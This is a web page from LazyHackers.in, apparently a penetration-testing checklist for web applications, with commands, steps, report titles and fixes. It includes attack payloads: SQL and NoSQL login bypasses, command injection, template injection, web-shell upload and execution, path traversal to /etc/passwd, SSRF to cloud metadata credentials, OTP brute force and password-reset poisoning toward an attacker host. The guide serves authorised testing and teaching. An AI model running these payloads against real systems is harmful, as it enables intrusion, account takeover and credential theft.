LazyHackers.in — Checklist
✅ Web Application Pentest Checklist
Every item, turned into how-to-test: scenario · command · steps · the finding · the fix
☰ How to use this guide
This is the companion to the raw web checklist — instead of a list of boxes to tick, every item here comes with how you actually test it: the scenario that makes it a bug, the exact command or proxy move, the step-by-step, the finding title to drop straight into your report, and the fix to recommend. Work top to bottom on every engagement; the universal sections (0–11) run on any web target, the category-specific sections at the end (SaaS, banking, e-commerce, healthcare, admin) add focus for that app type.
Set up your working set first
# Point everything through Burp so you keep a full request history
export HTTPS_PROXY=http://127.0.0.1:8080
TARGET=https://target.tld
# Common wordlists on Kali (seclists)
WL=/usr/share/seclists
# A clean URL/param corpus you can reuse all engagement long:
gau $TARGET | tee all-urls.txt | qsreplace -a > params.txt0 Recon & information gathering
Recon decides how much attack surface you even get to see. The goal is to find every host, path, parameter and leaked secret before you start poking the main app — forgotten subdomains and exposed files are where the easy criticals live.
Subdomain enumeration & takeover
Forgotten dev/staging subdomains run old, unpatched code; a subdomain whose DNS still points at a de-provisioned cloud resource can be claimed by you (takeover).
- Enumerate passively + actively, then resolve and probe what is live.
- Feed the live set into a takeover scanner that checks for dangling CNAMEs (S3, Azure, GitHub Pages, Heroku fingerprints).
- For any “NoSuchBucket” / “There isn't a GitHub Pages site here” fingerprint, register/claim the backing resource to prove takeover.
subfinder -d target.tld -all -silent | tee subs.txt
amass enum -passive -d target.tld | anew subs.txt
cat subs.txt | httpx -silent -title -tech-detect -status-code -o live.txt
# Dangling-DNS / subdomain takeover
subzy run --targets subs.txt
nuclei -l subs.txt -t http/takeovers/ -severity high,criticalArchived endpoints, JS secrets & exposed files
Old paths and parameters live forever in the Wayback Machine; front-end JS bundles routinely ship hardcoded API keys and internal endpoints; and VCS/backup files dropped in the web root hand over source and credentials.
# Archived URLs + parameters (great seed for the rest of the test)
gau target.tld | anew all-urls.txt
katana -u https://target.tld -jc -kf all -silent | anew all-urls.txt
# Secrets & endpoints inside JavaScript bundles
cat all-urls.txt | grep '\.js$' | nuclei -t http/exposures/ -silent
# (or) trufflehog filesystem ./js-dump / gitleaks detect for cloned repos
# Exposed VCS / config / backup files
nuclei -u https://target.tld -t http/exposures/configs/ -t http/exposures/backups/
ffuf -u https://target.tld/FUZZ -w "$WL/Discovery/Web-Content/raft-medium-files.txt" \
-e .bak,.old,.zip,.tar.gz,.swp,~ -mc 200 -c
# If /.git/ is browsable → reconstruct the source:
git-dumper https://target.tld/.git/ ./loot-gitTech fingerprint, WAF origin & debug exposure
whatweb https://target.tld ; nuclei -u https://target.tld -t http/technologies/
# Find the real origin behind a WAF/CDN (bypass the WAF entirely)
# - historical DNS / Shodan: ssl.cert.subject.cn:"target.tld" 200 page hash
# - try connecting to the discovered origin IP with the right Host header:
curl -sk -H "Host: target.tld" https://ORIGIN_IP/ -o /dev/null -w "%{http_code}\n"Recon — full coverage
| Checklist item | How to test | Report as |
|---|---|---|
| Subdomain enumeration (dev/staging exposed) | subfinder/amass + httpx (above) | Exposed staging environment |
| Stale DNS → subdomain takeover | subzy / nuclei takeovers | Subdomain takeover |
| Wayback / archived endpoints | gau, waybackurls, katana | Sensitive endpoint disclosure via archives |
| JS file analysis (keys/secrets/endpoints) | nuclei exposures, LinkFinder, trufflehog | Hardcoded secret in client-side JavaScript |
| Source map (.map) exposed | curl /main.js.map → 200 | Source map exposed in production |
| .git / .svn / .env / .DS_Store | nuclei exposures/configs, git-dumper | Version-control / config file exposure |
| Backup files (.bak/.old/.zip/~/.swp) | ffuf -e .bak,.old,.zip,~ | Backup file exposure |
| robots.txt / sitemap.xml sensitive paths | curl /robots.txt /sitemap.xml | Sensitive path disclosure via robots/sitemap |
| Tech/version banner disclosure | whatweb, nuclei technologies | Software version disclosure |
| Public repo / paste leaking creds | GitHub dorks, trufflehog org scan | Credential leak in public code |
| WAF/CDN origin IP exposed | Shodan/Censys + Host-header curl | WAF bypass via exposed origin IP |
| Debug / verbose mode in production | trigger error, check ?debug=1, stack traces | Debug mode enabled in production |
| Internal hostnames / IPs in responses | grep responses/comments for RFC1918/.internal | Internal network information disclosure |
1 Authentication
The login, registration, OTP and password-reset flows are the front door. The wins here are username enumeration (recon for the next attack), missing rate limits, and broken reset/OTP/2FA logic. The full mechanics live in the Authentication Bypass deep-dive — here is how to test each item.
Username enumeration (the four oracles)
- Submit a known-bad username + bad password, then a likely-valid username + bad password.
- Diff the response: message text (“user not found” vs “wrong password”), HTTP status, body length, and response time (valid users hit the slow bcrypt path).
- Repeat on register (“already exists”) and forgot-password (“email sent” vs “no such user”).
- Confirm at scale with ffuf, sorting by the field that differs.
# Message/length oracle on login
ffuf -w "$WL/Usernames/top-usernames-shortlist.txt" -u https://target.tld/login \
-X POST -d 'username=FUZZ&password=Wrong123!' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-mr 'incorrect password' -c # match the "valid user" message
# Timing oracle: look for a consistent latency gap on valid users
ffuf ... -o timing.json -of json # then compare "duration" per requestRate-limit, OTP & reset-token testing
- Capture the login/OTP/reset request in Burp and replay it 50–100× with Intruder/Turbo Intruder — if none are blocked, there is no rate limit.
- For OTP: brute the full code space against the pending session; check the code is invalidated after use and that user A's code is rejected for user B.
- For reset: request two tokens and diff them (sequential/timestamped = predictable); reuse a token after use; try it days later (expiry); change the
Hostheader (poisoning).
# OTP brute (6-digit) against a half-auth session
seq -w 0 999999 > otps.txt
ffuf -u https://target.tld/2fa -X POST -d 'otp=FUZZ' \
-H 'Cookie: session=<half-auth>' -w otps.txt -fr 'Invalid code' -c
# Reset poisoning — make the email link point at you
printf 'POST /forgot-password HTTP/1.1\r\nHost: evil.attacker.tld\r\n...\r\n\r\[email protected]'
# (send via Repeater; also try X-Forwarded-Host: evil.attacker.tld)Auth-bypass quick wins
# SQLi login bypass — username field
admin'-- ' OR '1'='1'-- - ' OR 1=1 LIMIT 1-- -
sqlmap -r login.req -p username --batch --level 3 --risk 2
# 2FA skip: log in (factor 1), then request a post-login page directly
GET /account Cookie: session=<half-auth> # renders? → 2FA not enforced server-side
# Response/status tampering (client-side auth): intercept the response in Burp
{"success":false} → {"success":true} ; 401 → 200 OKAuthentication — full coverage
| Checklist item | How to test | Report as |
|---|---|---|
| Username enum via login error / timing / forgot-pw / register | diff message, status, length, time (above) | Username enumeration |
| No rate limit on login | replay 100× in Intruder | No rate limiting on authentication |
| No rate limit / captcha on OTP request | spam the send-OTP endpoint | No throttling on OTP generation |
| OTP brute force (no lockout) | ffuf 000000–999999 | OTP brute force — no lockout |
| OTP reusable after use | submit same OTP twice | OTP not invalidated after use |
| Cross-user OTP accepted | user A's OTP on user B | OTP not bound to user |
| Static / predictable OTP | observe 0000/1234 patterns | Predictable OTP |
| OTP leaked in API response | inspect send-OTP JSON body | OTP disclosed in response body |
| Weak password policy | register with “123456” | Weak password policy |
| Reset token predictable / non-expiring | diff two tokens; reuse old token | Predictable / non-expiring reset token |
| Reset token reusable after use | reset twice with one token | Reset token not invalidated |
| Reset poisoning via Host header | tamper Host / X-Forwarded-Host | Password-reset poisoning |
| Reset link leaked via Referer | check 3rd-party requests on reset page | Reset token leak via Referer |
| ATO via response manipulation | flip success:false→true in Burp | Account takeover via response tampering |
| 2FA bypass via direct navigation | request post-auth page with half-auth cookie | 2FA bypass — not enforced server-side |
| 2FA bypass via status-code tampering | edit 401/403→200 in response | 2FA bypass via response tampering |
| 2FA backup code not rate limited | brute recovery codes | Backup-code brute force |
| 2FA not enforced on API/mobile endpoint | call API directly post-factor-1 | 2FA not enforced on API |
| Default / weak credentials | admin:admin, vendor defaults | Default credentials |
| Login allows null/empty password | send password= (empty) / password[] | Authentication bypass via empty password |
| SQLi in login (auth bypass) | admin'-- , sqlmap | SQL injection authentication bypass |
| SSO/OAuth misconfig bypass | see SaaS section | OAuth/SSO authentication bypass |
| No re-auth for sensitive actions | change email/password without current pw | Missing re-authentication |
| Email change without old-email confirm | change email, no confirmation to old | Email change without verification |
| Self-registration where invite-only intended | POST /register directly | Open registration on restricted app |
2 Session management
Once authenticated, the session token is the user. Test how it is issued, stored, transported and destroyed. Deep mechanics: the Session Attacks catalogue.
Lifecycle & cookie flags
- Record the session cookie pre-login, then post-login — if it does not change, the app is vulnerable to session fixation.
- Log out, then replay an old request with the pre-logout cookie — if it still works, logout is client-side only.
- Change the password in one browser, replay an old session in another — it should be killed.
- Inspect Set-Cookie for HttpOnly, Secure, SameSite; check whether the token sits in localStorage (XSS-exfiltratable).
# Inspect cookie attributes quickly
curl -sI https://target.tld/login -c - | grep -i set-cookie
# Look for: HttpOnly; Secure; SameSite=Lax/Strict (missing any = finding)
# JWT session checks
jwt_tool <JWT> -T # tamper claims
jwt_tool <JWT> -X a # alg:none
jwt_tool <JWT> -C -d rockyou.txt # crack weak HS256 secretSession management — full coverage
| Checklist item | How to test | Report as |
|---|---|---|
| No rotation after login (fixation) | diff cookie pre/post login | Session fixation |
| Not invalidated on logout | replay old cookie after logout | Server-side logout missing |
| Not invalidated on password change | replay old session after pw change | Session persists after password change |
| Concurrent sessions uncontrolled | log in twice, both live | No concurrent-session control |
| Excessive / no session timeout | idle, then replay hours later | Excessive session lifetime |
| Cookie missing HttpOnly | inspect Set-Cookie | Cookie missing HttpOnly flag |
| Cookie missing Secure | inspect Set-Cookie | Cookie missing Secure flag |
| Cookie weak/missing SameSite | inspect Set-Cookie | Cookie missing SameSite attribute |
| Token in localStorage (XSS-exfil) | check JS storage in DevTools | Session token stored in localStorage |
| Predictable / low-entropy token | collect tokens, analyse entropy (Burp Sequencer) | Low-entropy session token |
| JWT alg:none accepted | jwt_tool -X a | JWT alg:none accepted |
| JWT weak HMAC secret | jwt_tool -C -d rockyou.txt | Crackable JWT signing secret |
| JWT kid injection / RS256→HS256 | jwt_tool -X k / -X i | JWT algorithm confusion |
| JWT signature not verified | edit payload, drop sig | JWT signature not verified |
| JWT expired token accepted | replay token past exp | JWT expiry not enforced |
| Sensitive data in JWT payload | base64-decode payload | Sensitive data in JWT |
| Remember-me token long-lived / non-revocable | inspect & reuse after logout | Persistent remember-me token |
3 Authorization / access control
Access control is the single most common source of high/critical findings. The method: act as a low-privileged user (or no user) and try to reach another user's data or an admin function. Companion: Authorization Bypass.
IDOR / BOLA — the two-account method
- Create two accounts, A and B. Log in as A and capture a request that references an object you own (
/api/orders/1001,?id=1001). - Swap the identifier to B's object (or just decrement/increment it) while keeping A's session.
- If you get B's data back → horizontal IDOR/BOLA. Repeat for update and delete, not just read.
- Automate the sweep with Burp's Autorize/AuthMatrix or a scripted range.
# Range-sweep an object ID with A's cookie, flag responses that aren't 403/404
ffuf -u 'https://target.tld/api/orders/FUZZ' -H 'Cookie: session=<userA>' \
-w <(seq 1000 1100) -mc 200 -ac -c
# Burp Autorize: log in as low-priv, replay every high-priv request, diff responsesPrivilege escalation & mass assignment
# Mass assignment — inject privileged fields the UI never sends
POST /api/users {"name":"x","email":"[email protected]","role":"admin","isAdmin":true}
# Vertical escalation — replay an admin-only request with a normal user's token
GET /admin/users Cookie: session=<normalUser> # 200? → broken function-level authz
# Parameter-based role trusted by server
GET /dashboard?admin=true POST /api/me {"role":"admin"}Authorization — full coverage
| Checklist item | How to test | Report as |
|---|---|---|
| IDOR read another user object | two-account swap (above) | IDOR — unauthorised read |
| IDOR update/delete another object | swap ID on PUT/DELETE | IDOR — unauthorised modification |
| IDOR in file/document download | swap ?file= / ?id= | IDOR in file download |
| IDOR in API path/query param | swap path/query identifiers | BOLA on API object |
| Mass assignment (role/isAdmin) | add extra fields to JSON body | Mass assignment privilege escalation |
| Horizontal privilege escalation | act on another user's resources | Horizontal privilege escalation |
| Vertical privilege escalation | replay admin request as user | Vertical privilege escalation |
| Forced browsing to admin endpoints | ffuf admin paths unauthenticated | Forced browsing to privileged endpoint |
| Function-level access control missing on API | call admin API as user | Broken function-level authorisation (BFLA) |
| Access control only on UI not backend | call endpoint directly (curl) | Access control enforced client-side only |
| HTTP method bypass (GET vs POST/PUT) | change verb on guarded route | HTTP verb-based access-control bypass |
| Parameter-based role (?admin=true) trusted | inject role param | Client-controlled role parameter |
| Deleted/suspended user keeps access | use token after account disabled | Revoked account retains access |
| Privilege retained after downgrade | downgrade role, reuse old session | Stale privileges after role change |
4 Input validation & injection
Every place user input reaches an interpreter (SQL, HTML/JS, the OS shell, a template engine, an XML/LDAP/XPath parser, the HTTP layer) is an injection candidate. Fuzz systematically: collect parameters, then test each input class with a known payload set and watch for reflection, errors, or out-of-band callbacks.
XSS (reflected / stored / DOM)
- Find reflections: send a unique marker in every parameter and grep responses for it.
- Where it reflects, test context-appropriate payloads (HTML body, attribute, JS string, URL).
- Automate discovery + confirmation with kxss (finds unfiltered chars) then dalfox.
- For DOM XSS, trace sources (location.hash, postMessage) to sinks (innerHTML, eval) in DevTools.
cat all-urls.txt | grep '=' | qsreplace '"><svg onload=confirm(1)>' \
| while read u; do curl -sk "$u" | grep -q 'svg onload=confirm(1)' && echo "REFLECTED: $u"; done
cat params.txt | kxss # which params reflect which chars unfiltered
dalfox file params.txt --silence # automated XSS confirmationSQL / NoSQL injection
# Quick manual probes (watch for errors / boolean / time differences)
' " ') ' OR '1'='1 1) AND SLEEP(5)-- -
# Full automation:
sqlmap -r request.req -p id --batch --level 3 --risk 2 --dbs
# NoSQL (MongoDB-style) — operator injection in JSON/login
{"username":{"$ne":null},"password":{"$ne":null}} # auth bypass
username[$ne]=x&password[$ne]=x # form-encoded variantCommand injection & SSTI
# OS command injection — chain separators + an OOB/time signal
; id | id `id` $(id) & ping -c1 OOB.oast.fun
commix -u 'https://target.tld/ping?host=127.0.0.1' --batch
# SSTI — send the polyglot, look for evaluated math
${7*7} {{7*7}} <%= 7*7 %> #{7*7} # 49 in output → template injection
# then identify the engine and escalate to RCE (Jinja2/Twig/Freemarker gadgets)SSRF
- Find any parameter that fetches a URL (webhooks, image-from-URL, PDF render, import).
- Point it at a Burp Collaborator / interactsh host — an inbound hit confirms SSRF.
- Escalate to cloud metadata (169.254.169.254) and internal services; for blind SSRF rely on the OOB callback.
interactsh-client # get an OOB domain, then:
POST /import {"url":"http://<oob>.oast.fun/"} # callback = SSRF
# Escalate:
url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
url=http://127.0.0.1:6379/ (internal Redis, etc.)Injection & input validation — full coverage
| Checklist item | How to test | Report as |
|---|---|---|
| Reflected / Stored / DOM XSS | kxss + dalfox; DOM trace (above) | Cross-site scripting |
| XSS via SVG / file upload | upload SVG with onload | Stored XSS via SVG upload |
| XSS in error/404 page | inject into path/param shown on error | XSS in error page |
| XSS via referer/UA/header reflection | inject in headers, grep reflection | Header-based XSS |
| Blind XSS in admin/support panel | XSS Hunter / blind payloads in support fields | Blind XSS in admin panel |
| SQLi error/boolean/time/UNION | sqlmap (above) | SQL injection |
| NoSQL injection | $ne / operator injection | NoSQL injection |
| OS command injection | commix; ;|`$() separators | OS command injection |
| SSTI | ${7*7}/{{7*7}} polyglot | Server-side template injection |
| LDAP injection | *)(uid=* in auth/search | LDAP injection |
| XPath injection | ' or '1'='1 in XML query params | XPath injection |
| Host header injection | tamper Host, observe reflection/links | Host header injection |
| CRLF / response splitting | %0d%0a injected header | CRLF injection |
| HTTP request smuggling | smuggler.py; CL.TE / TE.CL probes | HTTP request smuggling |
| Open redirect | ?next=//evil.tld payloads | Open redirect |
| SSRF internal / metadata | OOB callback (above) | Server-side request forgery |
| Blind / OOB SSRF | interactsh callback | Blind SSRF |
| XXE | external entity in XML upload/body | XML external entity injection |
| XML/JSON parameter pollution | duplicate/array params | Parameter pollution |
| Email header injection (contact forms) | %0aBcc: in name/subject | Email header injection |
| CSV / formula injection in exports | =cmd()|... in a field, export, open | CSV formula injection |
| Cache poisoning via unkeyed input | Param Miner; unkeyed header reflected | Web cache poisoning |
| Web cache deception | append /nonexistent.css to authed page | Web cache deception |
5 Business logic
Logic flaws are app-specific and scanners miss them — they need you to understand the intended workflow and then break its assumptions: order of steps, value ranges, replay, and concurrency. This is where the highest-impact, hardest-to-find bugs live.
Race conditions (TOCTOU)
- Find a one-time or limited action (redeem coupon, withdraw, vote, claim).
- Capture the request and fire many copies simultaneously (single-packet attack) before the state updates.
- Check whether the action applied more than once (double spend, multi-redeem).
# Burp Repeater → add request to a group → "Send group in parallel" (single-packet)
# or Turbo Intruder race template:
# engine = RequestEngine(endpoint, concurrentConnections=30, pipeline=False)
# for i in range(30): engine.queue(template) # all fire togetherBusiness logic — full coverage
| Checklist item | How to test | Report as |
|---|---|---|
| Race condition on critical action (TOCTOU) | parallel single-packet (above) | Race condition |
| Workflow step skipping | jump straight to /confirm | Workflow bypass / step skipping |
| Replay of one-time request | resend captured request | Request replay |
| Negative quantity/value accepted | qty=-1, amount=-100 | Negative-value logic flaw |
| Integer overflow / extreme value | qty=99999999999 | Integer overflow not handled |
| Hidden/disabled field tampering | edit hidden inputs in Burp | Parameter tampering |
| Client-side validation only | bypass JS, send raw request | Server-side validation missing |
| No resource-creation limit (abuse) | mass-create objects | Missing anti-automation control |
| Action on object in wrong state | cancel after dispatch, etc. | Invalid state transition allowed |
| Time/date manipulation | tamper date params to bypass limits | Time-based logic bypass |
| Coupon/referral abuse (logic) | self-refer, stack, reuse | Referral / coupon logic abuse |
6 File handling
Uploads and downloads bridge user input and the filesystem. Test what you can upload (and whether it executes), and whether download/extraction paths can be traversed.
Malicious upload → RCE
- Upload a benign file, note where it lands (URL/path) and whether it is web-accessible.
- Try a server-side script (e.g.
shell.php); if blocked, test extension/content-type bypasses. - If the file lands in the web root and executes → web shell / RCE.
# Extension / content-type / magic-byte bypasses to try:
shell.php shell.php.jpg shell.pHp shell.php%00.jpg shell.phtml
# + force Content-Type: image/png and prepend GIF89a; magic bytes
# Then browse to the stored path to trigger:
curl 'https://target.tld/uploads/shell.php?cmd=id'Path traversal
# Download / read traversal
?file=../../../../etc/passwd ?file=..%2f..%2f..%2fetc%2fpasswd
GET /download?path=....//....//etc/passwd
ffuf -u 'https://target.tld/download?file=FUZZ' -w "$WL/Fuzzing/LFI/LFI-Jhaddix.txt" -mr 'root:'File handling — full coverage
| Checklist item | How to test | Report as |
|---|---|---|
| Unrestricted upload → web shell/RCE | upload script, browse to it | Unrestricted file upload (RCE) |
| Content-type/extension bypass | double ext, null byte, magic bytes | Upload filter bypass |
| Uploaded file executable in web root | request the stored file | Executable upload in web root |
| Path traversal in filename (write) | ../ in filename field | Path traversal on upload |
| Path traversal in download (read) | ?file=../../etc/passwd | Path traversal (file read) |
| No file size limit (DoS) | upload a huge file | Missing upload size limit |
| Image parser SSRF/XXE (ImageMagick) | malicious SVG/MVG/PS | Image-parser SSRF/XXE |
| Malicious file not scanned | upload EICAR / known-bad | No malware scanning on upload |
| IDOR on uploaded file access | swap file ID/path | IDOR on uploaded files |
| Filename reflected → stored XSS | upload <svg onload>.png | Stored XSS via filename |
| Zip slip / extraction traversal | archive with ../ entries | Zip-slip path traversal |
7 API / web services
APIs concentrate the OWASP API Top 10: object- and function-level authz (BOLA/BFLA), excessive data exposure, and missing limits. Test the API directly, not through the UI — the UI's restrictions usually aren't on the backend. Companion: API Security.
Excessive data exposure & BOLA/BFLA
- Compare what the UI shows vs the full JSON the API returns — APIs often leak extra fields (PII, internal flags, other users' data).
- Replay object requests with another user's ID (BOLA) and admin endpoints as a normal user (BFLA).
- Probe GraphQL: enable introspection, then look for unguarded queries and rate-limit bypass via batching.
# GraphQL introspection + map the schema
curl -s https://target.tld/graphql -H 'Content-Type: application/json' \
-d '{"query":"{__schema{types{name fields{name}}}}"}' | jq .
# CORS misconfig — reflected origin with credentials
curl -s -I https://target.tld/api/me -H 'Origin: https://evil.tld' | grep -i access-controlAPI / web services — full coverage
| Checklist item | How to test | Report as |
|---|---|---|
| Excessive data exposure | diff API JSON vs UI | Excessive data exposure |
| BOLA / IDOR on API objects | swap object IDs | BOLA |
| BFLA (function-level authz) | call admin API as user | BFLA |
| No rate limiting on API | flood an endpoint | No API rate limiting |
| API key in URL / client-side / leaked | inspect URLs, JS, history | API key exposure |
| GraphQL introspection in prod | introspection query (above) | GraphQL introspection enabled |
| GraphQL nested-query DoS | deeply nested query | GraphQL query-depth DoS |
| GraphQL batching bypasses rate limit | array of queries in one request | GraphQL batching abuse |
| Mass assignment via JSON body | inject extra fields | Mass assignment |
| Verb tampering / unsupported method | PUT/PATCH/DELETE probing | HTTP verb tampering |
| Old/deprecated API version live | try /v1 /v0 /api/old | Deprecated vulnerable API version |
| CORS misconfig (wildcard/reflected + creds) | Origin reflection test | CORS misconfiguration |
| Improper input validation on API params | type/format fuzzing | Improper input validation |
| Webhook accepts spoofed/unsigned payload | POST forged event, no signature | Unsigned webhook accepted |
8 Client-side
Bugs that execute in the victim's browser: CSRF, clickjacking, tabnabbing, postMessage and prototype-pollution issues, plus supply-chain and caching weaknesses.
CSRF & clickjacking
# CSRF — does a state-changing request work without a token / cross-site?
# Build a test form that auto-submits to the target action; if it succeeds → CSRF.
# Also try: remove the CSRF token, reuse another user's token, swap GET/POST.
# Clickjacking — is framing allowed?
curl -sI https://target.tld/ | grep -iE 'x-frame-options|content-security-policy'
# (missing X-Frame-Options AND no frame-ancestors → frameable)Client-side — full coverage
| Checklist item | How to test | Report as |
|---|---|---|
| CSRF on state-changing request | auto-submit cross-site form | Cross-site request forgery |
| CSRF token missing/static/not validated | remove/replace token | CSRF protection bypass |
| Clickjacking (no XFO/CSP) | frame the page (above) | Clickjacking |
| Tabnabbing (target=_blank, no noopener) | inspect outbound links | Reverse tabnabbing |
| postMessage missing origin validation | trace message listeners | Insecure postMessage handler |
| DOM clobbering | inject named elements colliding with globals | DOM clobbering |
| Prototype pollution (client-side) | __proto__ in JSON/query | Client-side prototype pollution |
| Sensitive data cached by browser | check Cache-Control on authed pages | Sensitive data cached |
| Autocomplete on sensitive fields | inspect form autocomplete attr | Autocomplete on sensitive field |
| 3rd-party dependency with known CVE | retire.js / npm audit on JS | Vulnerable JS dependency |
| Missing Subresource Integrity (SRI) | check external <script> integrity attr | Missing SRI on external script |
9 Server / infra misconfiguration
Misconfigurations are fast, high-signal wins: missing headers, exposed consoles, dangerous methods, and known-CVE software. nuclei + a header check covers most of it.
nuclei -u https://target.tld -t http/misconfiguration/ -t http/exposed-panels/ -t http/cves/
# Security headers
curl -sI https://target.tld | grep -iE 'content-security-policy|strict-transport|x-content-type|x-frame'
# Dangerous methods
curl -s -X OPTIONS https://target.tld -i | grep -i allow # TRACE/PUT/DELETE?
nmap --script http-methods -p 443 target.tldServer / infra misconfiguration — full coverage
| Checklist item | How to test | Report as |
|---|---|---|
| Missing security headers | curl -I header check | Missing security headers |
| Directory listing enabled | browse a directory path | Directory listing enabled |
| Default / sample files reachable | nuclei exposed defaults | Default files exposed |
| Admin/management console exposed | nuclei exposed-panels | Management interface exposed |
| Dangerous HTTP methods (TRACE/PUT/DELETE) | OPTIONS / nmap http-methods | Dangerous HTTP methods enabled |
| Verbose stack trace / error disclosure | trigger 500, read trace | Verbose error disclosure |
| Outdated server/framework (CVE) | nuclei -t http/cves | Outdated software with known CVE |
| Misconfigured cloud bucket (public r/w) | enumerate & test bucket ACL | Public cloud storage bucket |
| Actuator/metrics/server-status exposed | nuclei; /actuator /server-status | Monitoring endpoint exposed |
| DoS via unbounded request / ReDoS | large body / catastrophic regex input | Denial of service (ReDoS/unbounded) |
| HTTP/2 / smuggling desync at proxy | smuggler.py; h2 desync probes | HTTP request smuggling (desync) |
10 Cryptography & transport
Confirm data is encrypted in transit with modern TLS, that secrets aren't weakly hashed or hardcoded, and that tokens use real randomness.
testssl.sh https://target.tld # TLS version, ciphers, cert, HSTS in one shot
# or:
nmap --script ssl-enum-ciphers -p 443 target.tld
sslscan target.tld
# Check HTTP→HTTPS redirect + HSTS
curl -sI http://target.tld | grep -i location
curl -sI https://target.tld | grep -i strict-transport-securityCryptography & transport — full coverage
| Checklist item | How to test | Report as |
|---|---|---|
| Sensitive data over HTTP (no TLS) | capture plaintext request | Cleartext transmission |
| No HTTP→HTTPS redirect / no HSTS | curl redirect + HSTS check | Missing HSTS / forced HTTPS |
| Weak TLS version or ciphers | testssl.sh / sslscan | Weak TLS configuration |
| Expired/self-signed/mismatched cert | testssl.sh cert section | Invalid TLS certificate |
| Sensitive data in URL | grep history/logs for tokens in URLs | Sensitive data in URL |
| Weak/reversible password hashing | review (if source) / leaked hash format | Weak password hashing |
| Hardcoded crypto keys / secrets | grep JS/source, trufflehog | Hardcoded secret |
| Predictable token randomness (non-CSPRNG) | Burp Sequencer entropy | Insufficient token entropy |
| PII / card data stored in plaintext | review storage / responses | Sensitive data stored in plaintext |
11 Information disclosure
Pull together everything the app leaks — over-shared PII in APIs, internal paths/IPs, source comments, and metadata in uploaded files. Individually minor, collectively a roadmap for an attacker.
# Metadata in uploaded/served files
exiftool downloaded-image.jpg # GPS, software, internal author/paths
# Grep responses for internal leaks
grep -niE '10\.|192\.168\.|172\.(1[6-9]|2[0-9]|3[01])\.|\.internal|DEBUG|stacktrace' responses/*Information disclosure — full coverage
| Checklist item | How to test | Report as |
|---|---|---|
| PII exposed unnecessarily in API | inspect API JSON | Excessive PII in API response |
| Internal IP / path / hostname leaked | grep responses (above) | Internal information disclosure |
| Source/comments leaking logic or creds | view-source, JS review | Sensitive comment disclosure |
| User enumeration via response diffs | consolidate from §1 | Username enumeration |
| Email/phone leaked in profile/API | inspect profile endpoints | Contact-info disclosure |
| Version info aiding exploit selection | banners, headers, error pages | Software version disclosure |
| Metadata in uploads (EXIF/doc props) | exiftool on served files | Metadata disclosure |
A SaaS / multi-tenant apps
On top of the universal checks, multi-tenant apps must keep tenants completely isolated and get RBAC, SSO/OAuth and billing exactly right. The killer bug class is cross-tenant access.
Cross-tenant isolation
- Create two tenants (Org A, Org B), each with their own user.
- As Org A, capture every request carrying a tenant/org/object identifier.
- Swap to Org B's identifiers (in the path, body, header, or JWT claim) while keeping Org A's session.
- Any Org B data returned = a tenant-isolation break (usually critical).
SaaS / multi-tenant — full coverage
| Checklist item | How to test | Report as |
|---|---|---|
| Cross-tenant data access | two-tenant ID swap (above) | Cross-tenant access (tenant isolation break) |
| Tenant ID tamperable | change tenant param/claim | Tenant isolation bypass |
| Subdomain/path tenant routing bypass | mismatched tenant host vs body | Tenant routing bypass |
| Shared object across tenants | access another tenant file/report | Cross-tenant object access |
| RBAC custom role over-privileged | create role, test scope | RBAC privilege escalation |
| Org admin → super-admin | probe super-admin functions | Vertical privilege escalation |
| Invited user over-privileged | accept invite, check perms | Excessive invited-user privilege |
| Removed member retains access/token | reuse token after removal | Revoked member retains access |
| SAML signature not verified | tamper SAML response | SAML signature not validated |
| SAML assertion replay / audience mismatch | replay assertion | SAML assertion replay |
| SSO email/domain spoof to join org | spoof unverified email/domain | Org join via email spoof |
| OAuth redirect_uri not validated | tamper redirect_uri | OAuth open redirect / token theft |
| OAuth state missing (login CSRF) | drop state param | Missing OAuth state (login CSRF) |
| OAuth implicit token leak via referer | check token in URL/referer | OAuth token leak |
| OAuth pre-account-takeover | pre-register victim email | OAuth pre-account takeover |
| API key scoped too broadly | test key against extra scopes | Over-privileged API key |
| API key not revoked on removal | use key after user removed | API key not revoked |
| Webhook secret missing (spoof) | POST unsigned event | Unsigned webhook accepted |
| Plan/feature gating client-side only | call gated feature directly | Client-side feature gating bypass |
| Trial extension / re-trial abuse | new tenant re-trial, reset clock | Trial abuse |
| Seat/license count manipulation | tamper seat count | License-count manipulation |
| Billing tied to client-controlled plan param | tamper plan in request | Client-controlled billing parameter |
| Audit log tampering / not recording | perform action, check log | Audit logging gap |
| Cross-tenant export via shared job ID | swap export/job ID | Cross-tenant data export |
B Banking / fintech
Money makes integrity, race conditions and OTP/IDOR the priorities. Every amount, account and status must be validated and signed server-side; concurrency must be safe.
Transaction integrity & race conditions
# Amount / account / status tampering in the transfer request
{"from":"MY_ACCT","to":"VICTIM_ACCT","amount":1000} # change 'to', sign?
amount=-1000 amount=0.001 currency=INR→USD # negative / rounding / fx
{"status":"FAILED"} → {"status":"SUCCESS"} # forge gateway status
# Double-spend race: fire N parallel withdrawals (single-packet) before balance updatesBanking / fintech — full coverage
| Checklist item | How to test | Report as |
|---|---|---|
| Transfer to arbitrary account (tamper) | change payee param | Fund transfer parameter tampering |
| Negative amount → reverse credit | amount=-X | Negative-amount logic flaw |
| Decimal/rounding abuse | 0.001 rounding | Rounding abuse |
| Currency mismatch | pay low-value, credit high | Currency manipulation |
| Race on transfer/withdraw (double spend) | parallel requests | Race condition (double spend) |
| Race on OTP verification | parallel OTP submits | OTP verification race condition |
| Beneficiary added without OTP/cooling | skip OTP/cooling step | Beneficiary control bypass |
| Transaction limit bypass (parallel) | parallel requests over limit | Transaction-limit bypass |
| Account-number IDOR (balance/statement) | swap account number | IDOR on account data |
| Statement/passbook IDOR | swap account in download | IDOR on statements |
| Predictable transaction reference | enumerate references | Predictable transaction ID |
| MPIN/TPIN brute (no lockout) | brute PIN | PIN brute force |
| MPIN reset bypass | test reset flow | PIN reset bypass |
| OTP reuse / cross-user OTP | reuse / swap OTP | OTP reuse / cross-user acceptance |
| Soft-token / device binding bypass | move token to new device | Device-binding bypass |
| Loan/credit limit tampering | tamper limit param | Credit-limit tampering |
| Interest/EMI calculation manipulation | tamper calc inputs | EMI/interest manipulation |
| Payee name vs account not validated | mismatch name/account | Payee validation missing |
| UPI/IMPS/NEFT replay | replay payment request | Payment request replay |
| Forged transaction status accepted | failed→success | Transaction status forgery |
| KYC document IDOR | swap KYC doc ID | IDOR on KYC documents |
| Card/CVV/account in logs or responses | inspect responses/logs | Sensitive financial data exposure |
| No transaction signing on amount | tamper amount, no integrity check | Missing transaction integrity |
| Session not device-bound (portable token) | move token to another device | Portable session token |
